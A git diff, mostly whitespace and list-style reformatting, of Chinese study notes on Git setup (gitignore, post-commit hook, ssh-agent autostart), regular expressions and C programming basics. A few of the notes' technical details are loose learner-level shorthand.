在项目根目录下创建一个名为`.gitignore` 的文件,然后在文件中列出你想要忽略的文件和目
|
||||||
|
|
||||||
```markdown
|
```markdown
|
||||||
# 忽略 test.c 文件
|
# 忽略 test.c 文件
|
||||||
|
|
||||||
practice_code/test.c
|
practice_code/test.c
|
||||||
|
|
||||||
# 忽略 practice_test/ 目录下的文件
|
# 忽略 practice_test/ 目录下的文件
|
||||||
|
|
||||||
practice_test/
|
practice_test/
|
||||||
# 忽略 所有test.c 文件
|
|
||||||
**/test.c每次提交自动同步到代码托管服务平台
|
# 忽略 所有 test.c 文件
|
||||||
|
|
||||||
|
\*\*/test.c 每次提交自动同步到代码托管服务平台
|
||||||
```
|
```
|
||||||
|
|
||||||
#### 2.将已被追踪的文件的更改加入到暂存区
|
#### 2.将已被追踪的文件的更改加入到暂存区
|
||||||
@ -301,7 +305,7 @@ git add -u
|
|||||||
|
|
||||||
1.创建钩子
|
1.创建钩子
|
||||||
|
|
||||||
在本地仓库的`.git/hooks`目录下,你可以创建一个名为`post-commit`的文件,该文件是在每次提交后运行的钩子
|
在本地仓库的`.git/hooks` 目录下,你可以创建一个名为`post-commit` 的文件,该文件是在每次提交后运行的钩子
|
||||||
|
|
||||||
```git
|
```git
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
@ -329,7 +333,7 @@ git commit -m "Your commit message"
|
|||||||
|
|
||||||
#### 例如将 Git Bash 的默认工作目录设置为 `D:\data\code\C`
|
#### 例如将 Git Bash 的默认工作目录设置为 `D:\data\code\C`
|
||||||
|
|
||||||
编辑`~/.profile` 或 `~/.bashrc`文件
|
编辑`~/.profile` 或 `~/.bashrc` 文件
|
||||||
|
|
||||||
在文件末尾加上
|
在文件末尾加上
|
||||||
|
|
||||||
@ -337,38 +341,38 @@ git commit -m "Your commit message"
|
|||||||
cd d:/data/code
|
cd d:/data/code
|
||||||
```
|
```
|
||||||
|
|
||||||
现在,每次你打开 Git Bash,它都应该默认定位到 `D:\data`目录。确保路径设置正确,并且没有其他地方覆盖了这个设置。
|
现在,每次你打开 Git Bash,它都应该默认定位到 `D:\data` 目录。确保路径设置正确,并且没有其他地方覆盖了这个设置。
|
||||||
|
|
||||||
### 保存SSH 密钥的通行短语
|
### 保存 SSH 密钥的通行短语
|
||||||
|
|
||||||
1. 启动ssh-agent
|
1. 启动 ssh-agent
|
||||||
|
|
||||||
2. 编辑 `~/.profile` 或 `~/.bashrc` 文件
|
2. 编辑 `~/.profile` 或 `~/.bashrc` 文件
|
||||||
|
|
||||||
在文件末尾加上
|
在文件末尾加上
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
env=~/.ssh/agent.env
|
env=~/.ssh/agent.env
|
||||||
|
|
||||||
agent_load_env () { test -f "$env" && . "$env" >| /dev/null ; }
|
agent_load_env () { test -f "$env" && . "$env" >| /dev/null ; }
|
||||||
|
|
||||||
agent_start () {
|
agent_start () {
|
||||||
(umask 077; ssh-agent >| "$env")
|
(umask 077; ssh-agent >| "$env")
|
||||||
. "$env" >| /dev/null ; }
|
. "$env" >| /dev/null ; }
|
||||||
|
|
||||||
agent_load_env
|
agent_load_env
|
||||||
|
|
||||||
# agent_run_state: 0=agent running w/ key; 1=agent w/o key; 2=agent not running
|
# agent_run_state: 0=agent running w/ key; 1=agent w/o key; 2=agent not running
|
||||||
agent_run_state=$(ssh-add -l >| /dev/null 2>&1; echo $?)
|
agent_run_state=$(ssh-add -l >| /dev/null 2>&1; echo $?)
|
||||||
|
|
||||||
if [ ! "$SSH_AUTH_SOCK" ] || [ $agent_run_state = 2 ]; then
|
if [ ! "$SSH_AUTH_SOCK" ] || [ $agent_run_state = 2 ]; then
|
||||||
agent_start
|
agent_start
|
||||||
ssh-add
|
ssh-add
|
||||||
elif [ "$SSH_AUTH_SOCK" ] && [ $agent_run_state = 1 ]; then
|
elif [ "$SSH_AUTH_SOCK" ] && [ $agent_run_state = 1 ]; then
|
||||||
ssh-add
|
ssh-add
|
||||||
fi
|
fi
|
||||||
|
|
||||||
unset env
|
unset env
|
||||||
```
|
```
|
||||||
|
|
||||||
3. 再次运行 Git Bash 时,系统将提示您输入密码
|
3. 再次运行 Git Bash 时,系统将提示您输入密码
|
@ -15,27 +15,27 @@ tags: []
|
|||||||
|
|
||||||
## 限定符
|
## 限定符
|
||||||
|
|
||||||
`?`前面的字符可以出现0次或1次(可有可无)
|
`?` 前面的字符可以出现 0 次或 1 次(可有可无)
|
||||||
`*` 前面的字符可以出现0次或者是多次
|
`*` 前面的字符可以出现 0 次或者是多次
|
||||||
`+` 前面的字符出现一次以上
|
`+` 前面的字符出现一次以上
|
||||||
`{}` 可以限定出现的次数
|
`{}` 可以限定出现的次数
|
||||||
|
|
||||||
> 例如
|
> 例如
|
||||||
> {n}前面出现n次
|
> {n}前面出现 n 次
|
||||||
> {n,}最少出现n次
|
> {n,}最少出现 n 次
|
||||||
> {n,m}最少出现n次,最多m次
|
> {n,m}最少出现 n 次,最多 m 次
|
||||||
|
|
||||||
## 边界符
|
## 边界符
|
||||||
|
|
||||||
`\b`单词边界符
|
`\b` 单词边界符
|
||||||
|
|
||||||
`\B`非该单词边界
|
`\B` 非该单词边界
|
||||||
|
|
||||||
`/g`全局标记找到所有匹配子串
|
`/g` 全局标记找到所有匹配子串
|
||||||
|
|
||||||
## 匹配模式
|
## 匹配模式
|
||||||
|
|
||||||
`/m`多行匹配
|
`/m` 多行匹配
|
||||||
|
|
||||||
`^` 开头
|
`^` 开头
|
||||||
|
|
||||||
@ -47,40 +47,42 @@ tags: []
|
|||||||
|
|
||||||
## 其他字符
|
## 其他字符
|
||||||
|
|
||||||
`[]`区间字符:匹配[]所指定的字符
|
`[]` 区间字符:匹配[]所指定的字符
|
||||||
|
|
||||||
> [.?!]匹配句号,问号,感叹号
|
> [.?!]匹配句号,问号,感叹号
|
||||||
> [0-5]匹配0,1,2,3,4,5
|
> [0-5]匹配 0,1,2,3,4,5
|
||||||
|
|
||||||
`^`排除字符:匹配不在[]中指定的字符
|
`^` 排除字符:匹配不在[]中指定的字符
|
||||||
|
|
||||||
> [^0-5]匹配除了0,1,2,3,4,5之外的字符
|
> [^0-5]匹配除了 0,1,2,3,4,5 之外的字符
|
||||||
|
|
||||||
`|`选择字符:用于匹配|作用的任意字符
|
`|` 选择字符:用于匹配|作用的任意字符
|
||||||
|
|
||||||
> \d{18}|\d{15}匹配18位或15位身份证
|
> \d{18}|\d{15}匹配 18 位或 15 位身份证
|
||||||
|
|
||||||
`\`转义字符:将特殊字符转为普通字符使用
|
`\` 转义字符:将特殊字符转为普通字符使用
|
||||||
|
|
||||||
`[\u4e00-\u9fa5]`:匹配任意一个汉字
|
`[\u4e00-\u9fa5]`:匹配任意一个汉字
|
||||||
|
|
||||||
`()`分组:改变限定字符的作用
|
`()` 分组:改变限定字符的作用
|
||||||
|
|
||||||
## 分组
|
## 分组
|
||||||
|
|
||||||
* 普通分组
|
- 普通分组
|
||||||
|
|
||||||
`()`
|
`()`
|
||||||
* 非捕获分组
|
|
||||||
|
- 非捕获分组
|
||||||
|
|
||||||
`(?:<表达式>)`
|
`(?:<表达式>)`
|
||||||
* 回溯分组
|
|
||||||
|
- 回溯分组
|
||||||
|
|
||||||
`\<number>`
|
`\<number>`
|
||||||
|
|
||||||
数字代表了第几个分组
|
数字代表了第几个分组
|
||||||
|
|
||||||
> (ab)+ ab出现一次以上
|
> (ab)+ ab 出现一次以上
|
||||||
|
|
||||||
## 断言
|
## 断言
|
||||||
|
|
||||||
@ -88,30 +90,28 @@ tags: []
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
* 正向
|
- 正向
|
||||||
|
|
||||||
`(?=<表达式>)`
|
`(?=<表达式>)`
|
||||||
|
|
||||||
> 右边必须出现某个字符
|
> 右边必须出现某个字符
|
||||||
>
|
|
||||||
* 反向
|
- 反向
|
||||||
|
|
||||||
`(?!<表达式>)`
|
`(?!<表达式>)`
|
||||||
|
|
||||||
> 右边不能出现某个字符
|
> 右边不能出现某个字符
|
||||||
>
|
|
||||||
|
|
||||||
### 后行断言
|
### 后行断言
|
||||||
|
|
||||||
* 正向
|
- 正向
|
||||||
|
|
||||||
`(?<=<表达式>)`
|
`(?<=<表达式>)`
|
||||||
|
|
||||||
> 左边必须出现某个字符
|
> 左边必须出现某个字符
|
||||||
>
|
|
||||||
* 反向
|
- 反向
|
||||||
|
|
||||||
`(?<!<表达式>)`
|
`(?<!<表达式>)`
|
||||||
|
|
||||||
> 左边不能出现某个字符
|
> 左边不能出现某个字符
|
||||||
>
|
|
@ -15,40 +15,42 @@ tags: []
|
|||||||
1. 模块化
|
1. 模块化
|
||||||
2. 自顶往下
|
2. 自顶往下
|
||||||
3. 逐步求精
|
3. 逐步求精
|
||||||
4. 限制使用go语句
|
4. 限制使用 go 语句
|
||||||
|
|
||||||
### 程序执行过程
|
### 程序执行过程
|
||||||
|
|
||||||
1. 源程序(`.c`)
|
1. 源程序(`.c`)
|
||||||
|
|
||||||
编译
|
编译
|
||||||
|
|
||||||
2. 目标文件(`.obj`)
|
2. 目标文件(`.obj`)
|
||||||
|
|
||||||
链接
|
链接
|
||||||
|
|
||||||
3. 执行文件(`.exe`)
|
3. 执行文件(`.exe`)
|
||||||
|
|
||||||
执行
|
执行
|
||||||
|
|
||||||
### 常量
|
### 常量
|
||||||
|
|
||||||
#### 整数
|
#### 整数
|
||||||
|
|
||||||
* `0`开头的是8进制
|
- `0` 开头的是 8 进制
|
||||||
* `0x`开头的是16进制
|
- `0x` 开头的是 16 进制
|
||||||
|
|
||||||
#### 小数
|
#### 小数
|
||||||
|
|
||||||
* `0.7`=`.7`
|
- `0.7`=`.7`
|
||||||
* `7.0`=`7.`
|
- `7.0`=`7.`
|
||||||
* 科学计数`6E6`
|
- 科学计数`6E6`
|
||||||
|
|
||||||
E的前后必须有数,后面必须为整数
|
E 的前后必须有数,后面必须为整数
|
||||||
|
|
||||||
#### 字符型
|
#### 字符型
|
||||||
|
|
||||||
##### 普通字符
|
##### 普通字符
|
||||||
|
|
||||||
c语言只有单字符
|
c 语言只有单字符
|
||||||
|
|
||||||
A=65
|
A=65
|
||||||
|
|
||||||
@ -56,15 +58,15 @@ a=97
|
|||||||
|
|
||||||
##### 转义字符
|
##### 转义字符
|
||||||
|
|
||||||
* 一般转义字符:`\n` `\t`
|
- 一般转义字符:`\n` `\t`
|
||||||
* 八进制转义字符:`\0`开头,`\0343`
|
- 八进制转义字符:`\0` 开头,`\0343`
|
||||||
* 十六进制转义字符:`\0x`开头,`\0xaf`
|
- 十六进制转义字符:`\0x` 开头,`\0xaf`
|
||||||
|
|
||||||
### 注释
|
### 注释
|
||||||
|
|
||||||
开头:/*
|
开头:/\*
|
||||||
|
|
||||||
结尾:*/
|
结尾:\*/
|
||||||
|
|
||||||
### 三段论
|
### 三段论
|
||||||
|
|
||||||
@ -74,24 +76,24 @@ a=97
|
|||||||
|
|
||||||
#### 关键字
|
#### 关键字
|
||||||
|
|
||||||
* int
|
- int
|
||||||
* float
|
- float
|
||||||
* acse
|
- acse
|
||||||
|
|
||||||
不能作为用户标识符
|
不能作为用户标识符
|
||||||
|
|
||||||
#### 预定义标识符
|
#### 预定义标识符
|
||||||
|
|
||||||
* printf
|
- printf
|
||||||
* scanf
|
- scanf
|
||||||
* define
|
- define
|
||||||
|
|
||||||
可以作为用户标识符
|
可以作为用户标识符
|
||||||
|
|
||||||
#### 用户标识符
|
#### 用户标识符
|
||||||
|
|
||||||
* int a
|
- int a
|
||||||
* int _a
|
- int \_a
|
||||||
|
|
||||||
#### 规则
|
#### 规则
|
||||||
|
|
||||||
|
@ -4,27 +4,25 @@ date: 2024-06-06T23:51:12Z
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
||||||
## stdio.h
|
## stdio.h
|
||||||
|
|
||||||
* 读写文件
|
- 读写文件
|
||||||
|
|
||||||
`FILE *fopen(const char *filename, const char *mode)`
|
`FILE *fopen(const char *filename, const char *mode)`
|
||||||
|
|
||||||
> * filename -- 字符串,表示要打开的文件名称
|
> - filename -- 字符串,表示要打开的文件名称
|
||||||
> * mode -- 字符串,表示文件的访问模式
|
> - mode -- 字符串,表示文件的访问模式
|
||||||
>
|
|
||||||
|
|
||||||
* 格式化输出字符串
|
- 格式化输出字符串
|
||||||
|
|
||||||
`snprintf ( char \* str, size_t size, const char \* format, ... )`
|
`snprintf ( char \* str, size_t size, const char \* format, ... )`
|
||||||
|
|
||||||
> * **str** -- 目标字符串,用于存储格式化后的字符串的字符数组的指针。
|
> - **str** -- 目标字符串,用于存储格式化后的字符串的字符数组的指针。
|
||||||
> * **size** -- 字符数组的大小。
|
> - **size** -- 字符数组的大小。
|
||||||
> * **format** -- 格式化字符串。
|
> - **format** -- 格式化字符串。
|
||||||
> * **...** -- 可变参数,可变数量的参数根据 format 中的格式化指令进行格式化。
|
> - **...** -- 可变参数,可变数量的参数根据 format 中的格式化指令进行格式化。
|
||||||
>
|
|
||||||
* 清除缓存
|
- 清除缓存
|
||||||
|
|
||||||
```c
|
```c
|
||||||
fflush(stdin)
|
fflush(stdin)
|
||||||
@ -32,97 +30,96 @@ tags: []
|
|||||||
|
|
||||||
## stdlib.h
|
## stdlib.h
|
||||||
|
|
||||||
* 清屏命令
|
- 清屏命令
|
||||||
|
|
||||||
```c
|
```c
|
||||||
system("cls"); // windows清屏命令
|
system("cls"); // windows清屏命令
|
||||||
system("clear"); //Linux和macOS清屏命令
|
system("clear"); //Linux和macOS清屏命令
|
||||||
```
|
```
|
||||||
|
|
||||||
* 手动管理内存
|
- 手动管理内存
|
||||||
|
|
||||||
* 分配所需的内存空间,并返回一个指向它的指针, 不会设置内存为零
|
- 分配所需的内存空间,并返回一个指向它的指针, 不会设置内存为零
|
||||||
|
|
||||||
`void *malloc(size_t size)`
|
`void *malloc(size_t size)`
|
||||||
* 分配所需的内存空间,并返回一个指向它的指针, 会设置分配的内存为零
|
|
||||||
|
- 分配所需的内存空间,并返回一个指向它的指针, 会设置分配的内存为零
|
||||||
`void *calloc(size_t nitems, size_t size)`
|
`void *calloc(size_t nitems, size_t size)`
|
||||||
* 尝试重新调整之前调用所分配的指针所指向的内存块的大小
|
- 尝试重新调整之前调用所分配的指针所指向的内存块的大小
|
||||||
`void *realloc(void *ptr, size_t size)`
|
`void *realloc(void *ptr, size_t size)`
|
||||||
* 释放之前调用 函数 所分配的内存空间
|
- 释放之前调用 函数 所分配的内存空间
|
||||||
`void free(void *ptr)`
|
`void free(void *ptr)`
|
||||||
* > * **ptr** -- 指针指向一个分配内存的内存块的指针。
|
- > - **ptr** -- 指针指向一个分配内存的内存块的指针。
|
||||||
> * **size** -- 内存块的大小,以字节为单位。
|
> - **size** -- 内存块的大小,以字节为单位。
|
||||||
> * **nitems** -- 要被分配的元素个数。
|
> - **nitems** -- 要被分配的元素个数。
|
||||||
>
|
|
||||||
* 排序
|
- 排序
|
||||||
|
|
||||||
```c
|
```c
|
||||||
void qsort(void *base, size_t nitems, size_t size, int (*compar)(const void *, const void*))
|
void qsort(void *base, size_t nitems, size_t size, int (*compar)(const void *, const void*))
|
||||||
```
|
```
|
||||||
|
|
||||||
> * **base** -- 指向要排序的数组的第一个元素的指针。
|
> - **base** -- 指向要排序的数组的第一个元素的指针。
|
||||||
> * **nitems** -- 由 base 指向的数组中元素的个数。
|
> - **nitems** -- 由 base 指向的数组中元素的个数。
|
||||||
> * **size** -- 数组中每个元素的大小,以字节为单位。
|
> - **size** -- 数组中每个元素的大小,以字节为单位。
|
||||||
> * **compar** -- 用来比较两个元素的函数。
|
> - **compar** -- 用来比较两个元素的函数。
|
||||||
> * 该函数不返回任何值。
|
> - 该函数不返回任何值。
|
||||||
>
|
|
||||||
* 随机数
|
- 随机数
|
||||||
|
|
||||||
1. 设置随机数种子
|
1. 设置随机数种子
|
||||||
|
|
||||||
```c
|
```c
|
||||||
void srand(unsigned int seed)
|
void srand(unsigned int seed)
|
||||||
```
|
```
|
||||||
|
|
||||||
|
> **seed** -- 这是一个整型值,用于伪随机数生成算法播种。
|
||||||
|
|
||||||
> **seed** -- 这是一个整型值,用于伪随机数生成算法播种。
|
|
||||||
>
|
|
||||||
2. 获取随机数
|
2. 获取随机数
|
||||||
|
|
||||||
```c
|
```c
|
||||||
int rand(void)
|
int rand(void)
|
||||||
```
|
```
|
||||||
|
|
||||||
> 该函数返回一个范围在 0 到 RAND_MAX 之间的整数值。
|
> 该函数返回一个范围在 0 到 RAND_MAX 之间的整数值。
|
||||||
>
|
|
||||||
|
|
||||||
## string.h
|
## string.h
|
||||||
|
|
||||||
1. 字符追加
|
1. 字符追加
|
||||||
|
|
||||||
```c
|
```c
|
||||||
char *strncat(char *dest, const char *src, size_t n)
|
char *strncat(char *dest, const char *src, size_t n)
|
||||||
```
|
```
|
||||||
|
|
||||||
|
> - **dest** -- 指向目标数组,该数组包含了一个 C 字符串,且足够容纳追加后的字符串,包括额外的空字符。
|
||||||
|
> - **src** -- 要追加的字符串。
|
||||||
|
> - **n** -- 要追加的最大字符数。
|
||||||
|
> - 该函数返回一个指向最终的目标字符串 dest 的指针。
|
||||||
|
|
||||||
> * **dest** -- 指向目标数组,该数组包含了一个 C 字符串,且足够容纳追加后的字符串,包括额外的空字符。
|
|
||||||
> * **src** -- 要追加的字符串。
|
|
||||||
> * **n** -- 要追加的最大字符数。
|
|
||||||
> * 该函数返回一个指向最终的目标字符串 dest 的指针。
|
|
||||||
>
|
|
||||||
2. 字符串检索
|
2. 字符串检索
|
||||||
|
|
||||||
```c
|
```c
|
||||||
char *strstr(const char *haystack, const char *needle)
|
char *strstr(const char *haystack, const char *needle)
|
||||||
```
|
```
|
||||||
|
|
||||||
> * **haystack** -- 要被检索的 C 字符串。
|
> - **haystack** -- 要被检索的 C 字符串。
|
||||||
> * **needle** -- 在 haystack 字符串内要搜索的小字符串。
|
> - **needle** -- 在 haystack 字符串内要搜索的小字符串。
|
||||||
> * 该函数返回在 haystack 中第一次出现 needle 字符串的位置,如果未找到则返回 null。
|
> - 该函数返回在 haystack 中第一次出现 needle 字符串的位置,如果未找到则返回 null。
|
||||||
>
|
|
||||||
|
|
||||||
## time.h
|
## time.h
|
||||||
|
|
||||||
time(null)返回当前时间戳unistd.h
|
time(null)返回当前时间戳 unistd.h
|
||||||
|
|
||||||
sleep(1); // 暂停 1 秒
|
sleep(1); // 暂停 1 秒
|
||||||
|
|
||||||
## conio.h
|
## conio.h
|
||||||
|
|
||||||
_kbhit()//如果有按键按下,则_kbhit()函数返回真
|
\_kbhit()//如果有按键按下,则\_kbhit()函数返回真
|
||||||
_getch();//使用_getch()函数获取按下的键值
|
\_getch();//使用\_getch()函数获取按下的键值
|
||||||
|
|
||||||
## errno.h
|
## errno.h
|
||||||
|
|
||||||
errno返回系统发生错误代码
|
errno 返回系统发生错误代码
|
||||||
|
|
||||||
## ctype.h
|
## ctype.h
|
||||||
|
|
||||||
|
@ -6,20 +6,23 @@ tags: []
|
|||||||
|
|
||||||
1. **堆区(Heap)** :
|
1. **堆区(Heap)** :
|
||||||
|
|
||||||
- **特点:** 堆区是动态分配的内存空间,用于存储程序运行时动态分配的数据。在堆区分配的内存需要手动释放,否则可能导致内存泄漏。
|
- **特点:** 堆区是动态分配的内存空间,用于存储程序运行时动态分配的数据。在堆区分配的内存需要手动释放,否则可能导致内存泄漏。
|
||||||
- **分配和释放:** 通过 `malloc`、`calloc`、`realloc` 等函数分配,通过 `free` 函数释放。
|
- **分配和释放:** 通过 `malloc`、`calloc`、`realloc` 等函数分配,通过 `free` 函数释放。
|
||||||
|
|
||||||
2. **栈区(Stack)** :
|
2. **栈区(Stack)** :
|
||||||
|
|
||||||
- **特点:** 栈区用于存储函数调用时的局部变量、函数参数和函数调用的返回地址等。它是一种后进先出(LIFO)的数据结构。
|
- **特点:** 栈区用于存储函数调用时的局部变量、函数参数和函数调用的返回地址等。它是一种后进先出(LIFO)的数据结构。
|
||||||
- **分配和释放:** 由编译器自动分配和释放,不需要手动管理。
|
- **分配和释放:** 由编译器自动分配和释放,不需要手动管理。
|
||||||
|
|
||||||
3. **静态区(Static)** :
|
3. **静态区(Static)** :
|
||||||
|
|
||||||
- **特点:** 静态区分为全局静态区和局部静态区。全局静态区用于存储全局变量和静态变量,而局部静态区用于存储在函数中定义的静态变量。
|
- **特点:** 静态区分为全局静态区和局部静态区。全局静态区用于存储全局变量和静态变量,而局部静态区用于存储在函数中定义的静态变量。
|
||||||
- **分配和释放:** 由编译器分配,程序运行期间一直存在。
|
- **分配和释放:** 由编译器分配,程序运行期间一直存在。
|
||||||
|
|
||||||
4. **代码区(Code)** :
|
4. **代码区(Code)** :
|
||||||
|
|
||||||
- **特点:** 代码区存储程序的执行代码。这是只读区域,存储了程序的二进制代码。
|
- **特点:** 代码区存储程序的执行代码。这是只读区域,存储了程序的二进制代码。
|
||||||
- **分配和释放:** 由操作系统和加载器负责,无需手动管理。
|
- **分配和释放:** 由操作系统和加载器负责,无需手动管理。
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@ -27,53 +30,56 @@ tags: []
|
|||||||
|
|
||||||
1. **带** **`static`** **关键字的全局静态变量:**
|
1. **带** **`static`** **关键字的全局静态变量:**
|
||||||
|
|
||||||
```c
|
```c
|
||||||
// 全局静态变量
|
// 全局静态变量
|
||||||
static int globalStaticVar = 42;
|
static int globalStaticVar = 42;
|
||||||
int main() {
|
int main() {
|
||||||
// 在任何函数中都可以访问 globalStaticVar
|
// 在任何函数中都可以访问 globalStaticVar
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
这样定义的全局静态变量 `globalStaticVar` 具有文件作用域,即在整个源文件中可见,但是对其他源文件是不可见的。其他源文件中可以定义同名的全局变量,而不会产生冲突。
|
||||||
|
|
||||||
这样定义的全局静态变量 `globalStaticVar` 具有文件作用域,即在整个源文件中可见,但是对其他源文件是不可见的。其他源文件中可以定义同名的全局变量,而不会产生冲突。
|
|
||||||
2. **不带** **`static`** **关键字的全局静态变量:**
|
2. **不带** **`static`** **关键字的全局静态变量:**
|
||||||
|
|
||||||
```c
|
```c
|
||||||
// 全局静态变量
|
// 全局静态变量
|
||||||
int globalStaticVar = 42;
|
int globalStaticVar = 42;
|
||||||
int main() {
|
int main() {
|
||||||
// 在任何函数中都可以访问 globalStaticVar
|
// 在任何函数中都可以访问 globalStaticVar
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
如果去掉 `static` 关键字,全局静态变量 `globalStaticVar` 将具有全局作用域,即在整个程序中可见,包括其他源文件。这可能导致命名冲突,因为其他源文件也可以定义同名的全局变量。
|
||||||
|
|
||||||
如果去掉 `static` 关键字,全局静态变量 `globalStaticVar` 将具有全局作用域,即在整个程序中可见,包括其他源文件。这可能导致命名冲突,因为其他源文件也可以定义同名的全局变量。
|
|
||||||
3. **带** **`static`** **关键字的局部静态变量:**
|
3. **带** **`static`** **关键字的局部静态变量:**
|
||||||
|
|
||||||
```c
|
```c
|
||||||
void exampleFunction() {
|
void exampleFunction() {
|
||||||
// 局部静态变量
|
// 局部静态变量
|
||||||
static int localStaticVar = 42;
|
static int localStaticVar = 42;
|
||||||
}
|
}
|
||||||
int main() {
|
int main() {
|
||||||
// localStaticVar 在这里不可见
|
// localStaticVar 在这里不可见
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
这样定义的局部静态变量 `localStaticVar` 具有函数范围的作用域,即仅在定义它的函数 `exampleFunction` 中可见。该变量的生命周期贯穿整个程序的运行时间,而不是仅在 `exampleFunction` 被调用时存在。
|
这样定义的局部静态变量 `localStaticVar` 具有函数范围的作用域,即仅在定义它的函数 `exampleFunction` 中可见。该变量的生命周期贯穿整个程序的运行时间,而不是仅在 `exampleFunction` 被调用时存在。
|
||||||
|
|
||||||
4. **不带** **`static`** **关键字的局部静态变量:**
|
4. **不带** **`static`** **关键字的局部静态变量:**
|
||||||
|
|
||||||
```c
|
```c
|
||||||
void exampleFunction() {
|
void exampleFunction() {
|
||||||
// 局部静态变量
|
// 局部静态变量
|
||||||
int localStaticVar = 42;
|
int localStaticVar = 42;
|
||||||
}
|
}
|
||||||
int main() {
|
int main() {
|
||||||
// localStaticVar 在这里不可见
|
// localStaticVar 在这里不可见
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
如果去掉 `static` 关键字,局部静态变量 `localStaticVar` 仍然有函数范围的作用域,但是它的生命周期将限制在 `exampleFunction` 被调用的时期。每次调用 `exampleFunction` 都会重新初始化这个变量。
|
如果去掉 `static` 关键字,局部静态变量 `localStaticVar` 仍然有函数范围的作用域,但是它的生命周期将限制在 `exampleFunction` 被调用的时期。每次调用 `exampleFunction` 都会重新初始化这个变量。
|
||||||
|
|
||||||
总的来说,带有 `static` 关键字的局部静态变量在多次函数调用之间保持其值,具有整个程序运行时间的生命周期。而不带 `static` 关键字的局部静态变量在每次函数调用时都会重新初始化,具有函数调用的生命周期。选择取决于变量是否需要在函数调用之间保持其值。
|
总的来说,带有 `static` 关键字的局部静态变量在多次函数调用之间保持其值,具有整个程序运行时间的生命周期。而不带 `static` 关键字的局部静态变量在每次函数调用时都会重新初始化,具有函数调用的生命周期。选择取决于变量是否需要在函数调用之间保持其值。
|
||||||
|
|
||||||
|
|
||||||
|
@ -4,7 +4,5 @@ date: 2024-06-06T23:51:47Z
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
大端存储:把高位字节放在低字节
|
大端存储:把高位字节放在低字节
|
||||||
小端存储:把低位字节放在高字节
|
小端存储:把低位字节放在高字节
|
||||||
|
@ -4,25 +4,24 @@ date: 2024-06-06T23:51:39Z
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
||||||
1. while
|
1. while
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
while(循环条件){
|
while (循环条件) {
|
||||||
//循环体
|
//循环体
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
2. for
|
2. for
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
for(;;){
|
for (;;) {
|
||||||
//循环体
|
//循环体
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
3. 退出循环
|
3. 退出循环
|
||||||
|
|
||||||
`continue`:退出本次循环
|
`continue`:退出本次循环
|
||||||
|
|
||||||
`break`:退出整个循环
|
`break`:退出整个循环
|
||||||
|
@ -4,11 +4,10 @@ date: 2024-06-06T23:51:37Z
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
||||||
`&` 取地址调试符
|
`&` 取地址调试符
|
||||||
`%p` 以地址的格式打印数据使用 (需要将指针强制转换为 (void \*))
|
`%p` 以地址的格式打印数据使用 (需要将指针强制转换为 (void \*))
|
||||||
|
|
||||||
`*`来声明指针变量
|
`*` 来声明指针变量
|
||||||
|
|
||||||
地址是内存唯一标示空间
|
地址是内存唯一标示空间
|
||||||
|
|
||||||
@ -18,9 +17,9 @@ tags: []
|
|||||||
|
|
||||||
取地址是取第一个地址
|
取地址是取第一个地址
|
||||||
|
|
||||||
指针变量在32位上是4字节(32/4,32位的机器上地址用32个二进制数组成,8bit=1byte)64位是8字节
|
指针变量在 32 位上是 4 字节(32/4,32 位的机器上地址用 32 个二进制数组成,8bit=1byte)64 位是 8 字节
|
||||||
|
|
||||||
指针变量的不同类型解引用访问的不同的字节 例如 \*char1个字节 \*int 4个字节
|
指针变量的不同类型解引用访问的不同的字节 例如 \*char1 个字节 \*int 4 个字节
|
||||||
|
|
||||||
`int (*px)(int);` px 是一个指向接受一个整数参数并返回整数的函数的指针
|
`int (*px)(int);` px 是一个指向接受一个整数参数并返回整数的函数的指针
|
||||||
|
|
||||||
|
@ -4,8 +4,7 @@ date: 2024-06-06T23:51:47Z
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
|
main 写 mian
|
||||||
main写mian
|
|
||||||
函数后面加;
|
函数后面加;
|
||||||
switch 里面的case不加break
|
switch 里面的 case 不加 break
|
||||||
用链条,查找下一个不创建临时变量,直接修改
|
用链条,查找下一个不创建临时变量,直接修改
|
||||||
|
@ -4,23 +4,21 @@ date: 2024-06-06T23:51:44Z
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
|
| 类型 | 符号 | 占位符 | 字节 |
|
||||||
|
| :----------: | :-------: | :----: | :--: |
|
||||||
|类型|符号|占位符|字节|
|
| 字符 | char | %c | 1 |
|
||||||
| :------------: | :---------: | :--------------------------------: | :----: |
|
| 字符串型 | | %s | |
|
||||||
|字符|char|%c|1|
|
| 整形 | int | %d | 4 |
|
||||||
|字符串型||%s||
|
| 短整型 | short | %hd | 2 |
|
||||||
|整形|int|%d|4|
|
| 长整型 | long | %ld | 4or8 |
|
||||||
|短整型|short|%hd|2|
|
| 更长整形 | long long | | 8 |
|
||||||
|长整型|long|%ld|4or8|
|
| 单精度浮点数 | float | %f | 4 |
|
||||||
|更长整形|long long||8|
|
| 双精度浮点数 | double | %lf | 8 |
|
||||||
|单精度浮点数|float|%f|4|
|
|
||||||
|双精度浮点数|double|%lf|8|
|
|
||||||
|
|
||||||
## 储存类
|
## 储存类
|
||||||
|
|
||||||
|存储类|描述|
|
| 存储类 | 描述 |
|
||||||
| :--------: | :----------------------------------------------------: |
|
| :------: | :--------------------------------------------------: |
|
||||||
|register|用于定义存储在寄存器中而不是 RAM 中的局部变量|
|
| register | 用于定义存储在寄存器中而不是 RAM 中的局部变量 |
|
||||||
|static|存储类指示编译器在程序的生命周期内保持局部变量的存在|
